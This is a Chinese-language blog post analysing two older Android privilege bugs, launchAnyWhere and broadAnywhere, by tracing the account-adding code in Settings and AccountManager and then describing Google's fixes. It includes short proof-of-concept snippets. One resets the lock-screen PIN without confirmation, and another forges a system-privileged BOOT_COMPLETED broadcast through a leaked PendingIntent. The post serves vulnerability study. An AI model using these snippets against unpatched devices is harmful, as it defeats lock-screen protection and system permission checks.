android添加帳戶流程分析涉及漏洞修復

  android修復了添加帳戶代碼中的2處bug,retme取了很酷炫的名字launchAnyWhere、broadAnywhere(參考資料一、2)。本文順着前輩的思路學習bug的原理和利用思路。php

  咱們先看下源碼裏setting中添加帳戶的代碼,來理解bug產生的原理。html

   /packages/apps/Settings/src/com/android/settings/accounts/AddAccountSettings.java下oncreate:java

  public void onCreate(Bundle savedInstanceState) {
    ......
    final Intent intent = new Intent(this, ChooseAccountActivity.class);
if (accountTypes != null) { intent.putExtra(AccountPreferenceBase.ACCOUNT_TYPES_FILTER_KEY, accountTypes); } startActivityForResult(intent, CHOOSE_ACCOUNT_REQUEST); }

   調用startActivityForResult去啓動"添加帳戶"activity,ChooseAccountActivity選好帳戶後回調onActivityResult函數:android

  public void onActivityResult(int requestCode, int resultCode, Intent data) {
        ......
        case CHOOSE_ACCOUNT_REQUEST:
        .......
            // Go to account setup screen. finish() is called inside mCallback.
            addAccount(data.getStringExtra(EXTRA_SELECTED_ACCOUNT));
            break;

   ok,來到addAccount函數:app

private void addAccount(String accountType) {
        ......
        mPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(), 0);
        addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
        addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this));
        AccountManager.get(this).addAccount(
                accountType,
                null, /* authTokenType */
                null, /* requiredFeatures */ addAccountOptions,
                null,
                mCallback,
                null /* handler */);
        mAddAccountCalled  = true;
    }

   注意new Intent()這是broadAnywhere bug的成因,下面還會仔細分析。看源碼發現AddAccountSettings.addAccount的仍是由AccountManager.addAccount來實現的。/frameworks/base/core/java/android/accounts/AccountManager.java-addAccount:ide

public AccountManagerFuture<Bundle> addAccount(final String accountType,
        ......
    

    if (addAccountOptions != null) {
      optionsIn.putAll(addAccountOptions);
     }函數

        return new AmsTask(activity, handler, callback) {學習

public void doWork() throws RemoteException { mService.addAccount(mResponse, accountType, authTokenType, requiredFeatures, activity != null, optionsIn); } }.start();

  粗看之下addAccount貌似卡住了,但看AmsTask的start函數源碼你會發現此函數就是去調用doWork函數。故這裏實質是去執行mService.addAccount(迴歸正道了),而mService就是AccountManagerService(這裏不明白不要緊,跟本文主題關係不大;先記住,我會另外一篇解釋下xxxManager、IxxxManager、IxxxManagerService之間的聯繫)。/frameworks/base/services/java/com/android/server/accounts/AccountManagerService.java—addAccount;ui

public void addAccount(final IAccountManagerResponse response, final String accountType,
            final String authTokenType, final String[] requiredFeatures,
            final boolean expectActivityLaunch, final Bundle optionsIn) {
        .......
        final Bundle options = (optionsIn == null) ? new Bundle() : optionsIn;
        ......
        try {
            new Session(accounts, response, accountType, expectActivityLaunch,
                    true /* stripAuthTokenFromResult */) {
                @Override
                public void run() throws RemoteException {
                    mAuthenticator.addAccount(this, mAccountType, authTokenType, requiredFeatures,
                            options);
                }
        ......

   由mAuthenticator去啓動addAccount代碼來添加帳戶;那mAuthenticator爲什麼物(這裏偏題下,參考資料6來學習下在android中如何添加本身的帳戶系統;其實直接看retme的launchAnyWhere poc學習更快),這裏用retme poc的代碼來分析就是Authenticator,他繼承自AbstractAccountAuthenticator。Authenticator.addAccount:this

   public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
            String authTokenType, String[] requiredFeatures, Bundle options) {
        ......
        Intent intent = new Intent();
        // 重設鎖屏pin
        intent.setComponent(new ComponentName(
                "com.android.settings",
                "com.android.settings.ChooseLockPassword"));
        intent.setAction(Intent.ACTION_RUN);
        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        intent.putExtra("confirm_credentials",false);
        bundle.putParcelable(AccountManager.KEY_INTENT, intent);
        return bundle;
    }

  Authenticator.addAccount返回Intent,由上面AmsTask中的內部類Response回調函數onResult來處理

  private class Response extends IAccountManagerResponse.Stub {
            public void onResult(Bundle bundle) {
                Intent intent = bundle.getParcelable(KEY_INTENT);
                if (intent != null && mActivity != null) {
                    // since the user provided an Activity we will silently start intents
                    // that we see
                    mActivity.startActivity(intent);
                    // leave the Future running to wait for the real response to this request
                }
        .......

  startActivity去啓動上面Authenticator.addAccount傳入的activity。此activity對於正常app來講就是登錄頁面,因此在此會記錄帳號信息已添加到android帳戶中。總得來講addAccount的流程就是這樣子

         

  帳戶添加流程就分析到這裏,咱們來看下bug是如何產生的。首先簡單的先看launchAnyWhere:上面app中返回一個intent,而在Response裏直接startActivity,這會打開android系統中的任意activity(由於此時在setting進程中執行具備system權限,system能夠打開任意activity無論有無exported)。這就是launchAnyWhere的原理,經過精心構造的app能夠打開任意activity(上面的填出的poc代碼是重設鎖屏pin,即不須要驗證以前的pin就能夠從新設置新的pin)。谷歌的修復也很簡單,檢測startActivity中的activity簽名和構造的app的簽名是否相同(簽名相同表示app有權限打開activity;具體看android4.4的代碼,因此launchAnyWhere的影響是android4.4如下的機器。

  

  broadAnywhere:在分析這個bug以前咱們先理解下PendingIntent(詳情請參考7);在這裏能夠簡單的理解:

簡單來講,就是指PenddingIntent對象能夠按預先指定的動做進行觸發,當這個對象傳遞(經過binder)到其餘進程(不一樣uid的用戶),其餘進程利用這個PenddingInten對象,能夠原進程的身份權限執行指定的觸發動做,這有點相似於Linux上suid或guid的效果。另外,因爲觸發的動做是由系統進程執行的,所以哪怕原進程已經不存在了,PenddingIntent對象上的觸發動做依然有效。

  在AddAccountSettings.addAccount時建立PendingIntent,並一直傳遞到app的Authenticator.addAccount中

mPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(), 0);

   PendingIntent的定義,咱們能夠在app執行PendingIntent指定的觸發動做:PendingIntent.send(intent,flag)。而PendingIntent.send()實質是由PendingIntentRecord.send()來執行(不理解?繼續看參考資料7)

public int send(int code, Intent intent, String resolvedType,
            IIntentReceiver finishedReceiver, String requiredPermission) {
        return sendInner(code, intent, resolvedType, finishedReceiver,
                requiredPermission, null, null, 0, 0, 0, null);
    }

  繼續往下看

 int sendInner(int code, Intent intent, String resolvedType,
            IIntentReceiver finishedReceiver, String requiredPermission,
            IBinder resultTo, String resultWho, int requestCode,
            int flagsMask, int flagsValues, Bundle options) {
        synchronized(owner) {
        ......
                Intent finalIntent = key.requestIntent != null
                        ? new Intent(key.requestIntent) : new Intent();
                if (intent != null) {// 填充intent
                    int changes = finalIntent.fillIn(intent, key.flags);
                    if ((changes&Intent.FILL_IN_DATA) == 0) {
                        resolvedType = key.requestResolvedType;
                    }
                } 
                ......
                    case ActivityManager.INTENT_SENDER_BROADCAST:
                        try {
                            // If a completion callback has been requested, require
                            // that the broadcast be delivered synchronously
                            // 發生廣播
                            owner.broadcastIntentInPackage(key.packageName, uid,
                                    finalIntent, resolvedType,
                                    finishedReceiver, code, null, null,
                                requiredPermission, (finishedReceiver != null), false, userId);
                            sendFinish = false;
                        } catch (RuntimeException e) {
                            Slog.w(ActivityManagerService.TAG,
                                    "Unable to send startActivity intent", e);
                        }
                        break;
        ......

  這裏最後面一步是發送廣播了,那到底是發送什麼廣播呢?看finalIntent.fillIn

 public int fillIn(Intent other, int flags) {
6474        int changes = 0;
6475        if (other.mAction != null
6476                && (mAction == null || (flags&FILL_IN_ACTION) != 0)) {
6477            mAction = other.mAction;
6478            changes |= FILL_IN_ACTION;
6479        }
6480        if ((other.mData != null || other.mType != null)
6481                && ((mData == null && mType == null)
6482                        || (flags&FILL_IN_DATA) != 0)) {
6483            mData = other.mData;
6484            mType = other.mType;
6485            changes |= FILL_IN_DATA;
6486        }
6487        if (other.mCategories != null
6488                && (mCategories == null || (flags&FILL_IN_CATEGORIES) != 0)) {
6489            if (other.mCategories != null) {
6490                mCategories = new ArraySet<String>(other.mCategories);
6491            }
6492            changes |= FILL_IN_CATEGORIES;
6493        }
6494        if (other.mPackage != null
6495                && (mPackage == null || (flags&FILL_IN_PACKAGE) != 0)) {
6496            // Only do this if mSelector is not set.
6497            if (mSelector == null) {
6498                mPackage = other.mPackage;
6499                changes |= FILL_IN_PACKAGE;
6500            }
6501        }
6502        // Selector is special: it can only be set if explicitly allowed,
6503        // for the same reason as the component name.
6504        if (other.mSelector != null && (flags&FILL_IN_SELECTOR) != 0) {
6505            if (mPackage == null) {
6506                mSelector = new Intent(other.mSelector);
6507                mPackage = null;
6508                changes |= FILL_IN_SELECTOR;
6509            }
6510        }
6511        if (other.mClipData != null
6512                && (mClipData == null || (flags&FILL_IN_CLIP_DATA) != 0)) {
6513            mClipData = other.mClipData;
6514            changes |= FILL_IN_CLIP_DATA;
6515        }
6516        // Component is special: it can -only- be set if explicitly allowed,
6517        // since otherwise the sender could force the intent somewhere the
6518        // originator didn't intend.
6519        if (other.mComponent != null && (flags&FILL_IN_COMPONENT) != 0) {
6520            mComponent = other.mComponent;
6521            changes |= FILL_IN_COMPONENT;
6522        }
6523        mFlags |= other.mFlags;
6524        if (other.mSourceBounds != null
6525                && (mSourceBounds == null || (flags&FILL_IN_SOURCE_BOUNDS) != 0)) {
6526            mSourceBounds = new Rect(other.mSourceBounds);
6527            changes |= FILL_IN_SOURCE_BOUNDS;
6528        }
6529        if (mExtras == null) {
6530            if (other.mExtras != null) {
6531                mExtras = new Bundle(other.mExtras);
6532            }
6533        } else if (other.mExtras != null) {
6534            try {
6535                Bundle newb = new Bundle(other.mExtras);
6536                newb.putAll(mExtras);
6537                mExtras = newb;
6538            } catch (RuntimeException e) {
6539                // Modifying the extras can cause us to unparcel the contents
6540                // of the bundle, and if we do this in the system process that
6541                // may fail.  We really should handle this (i.e., the Bundle
6542                // impl shouldn't be on top of a plain map), but for now just
6543                // ignore it and keep the original contents. :(
6544                Log.w("Intent", "Failure filling in extras", e);
6545            }
6546        }
6547        return changes;
6548    }
View Code

  在fillIn函數中,會將intent屬性(Action、Data、Categories,須要注意的是Component很特殊,只要有FILL_IN_COMPONENT即便本來有Component也能夠被覆蓋)所有填充到finalIntent(若是相應的屬性爲空)裏。也就是說最後廣播的intent是PendingIntent.send(intent,flag)中的intent(除沒法指定Component)。那麼咱們就能夠利用這個特性來發送任意的廣播(PendingIntent由setting建立,全部具備system權限能夠無視權限限制)了。具體的poc代碼是在app的Authenticator.addAccount中添加以下代碼

// the exploit of broadcastAnyWhere
final String KEY_CALLER_IDENTITY = "pendingIntent";
PendingIntent pendingintent = options.getParcelable(KEY_CALLER_IDENTITY);
Intent intent_for_broadcast = new Intent("android.intent.action.BOOT_COMPLETED");
intent_for_broadcast.putExtra("info", "I am bad boy");

try {
    pendingintent.send(mContext, 0, intent_for_broadcast);
} catch (CanceledException e) {
    e.printStackTrace();
}

  谷歌的修復也很簡單,在setting最初建立PendingIntent指定ComponentName、Action、Categories,這樣PendingIntent.send(intent,flag)中相對應的intent屬性就失效了,也就沒法發送任意的廣播。broadAnywhere的影響是android5.0如下的機子:

 Intent identityIntent = new Intent();
 identityIntent.setComponent(new ComponentName(SHOULD_NOT_RESOLVE, SHOULD_NOT_RESOLVE));
 identityIntent.setAction(SHOULD_NOT_RESOLVE);
 identityIntent.addCategory(SHOULD_NOT_RESOLVE);

 

 

 

參考資料:

一、launchAnyWhere: Activity組件權限繞過漏洞解析(Google Bug 7699048 )

二、broadAnywhere:Broadcast組件權限繞過漏洞(Bug: 17356824)

三、Android LaunchAnyWhere (Google Bug 7699048)漏洞詳解及防護措施

四、Android BroadcastAnyWhere(Google Bug 17356824)漏洞詳細分析 

五、安卓Bug 17356824 BroadcastAnywhere漏洞分析

六、一步一步教你在 Android 裏建立本身的帳戶系統(一)

七、說說PendingIntent的內部機制

相關文章
相關標籤/搜索